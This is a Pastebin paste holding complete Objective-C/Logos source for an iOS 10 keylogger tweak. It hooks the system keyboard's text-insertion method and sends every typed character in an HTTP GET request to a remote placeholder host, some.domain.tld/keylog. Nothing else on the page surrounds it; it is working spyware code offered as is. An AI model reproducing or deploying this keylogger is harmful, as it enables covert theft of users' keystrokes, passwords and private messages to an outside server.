Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // iOS 10 Keylogger
- %hook UIKeyboardImpl
- -(void)insertText:(NSString *)arg1 {
- dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
- NSMutableURLRequest *request = [[NSMutableURLRequest alloc] init];
- [request setHTTPMethod:@"GET"];
- [request setURL:[NSURL URLWithString:[NSString stringWithFormat:@"https://some.domain.tld/keylog?key=%@", arg1]]];
- NSError *error = nil;
- NSHTTPURLResponse *responseCode = nil;
- NSData *oResponseData = [NSURLConnection sendSynchronousRequest:request returningResponse:&responseCode error:&error];
- if([responseCode statusCode] != 200){
- NSLog(@"Fail");
- } else {
- NSLog(@"OK");
- }
- });
- %orig;
- }
- %end
Add Comment
Please, Sign In to add comment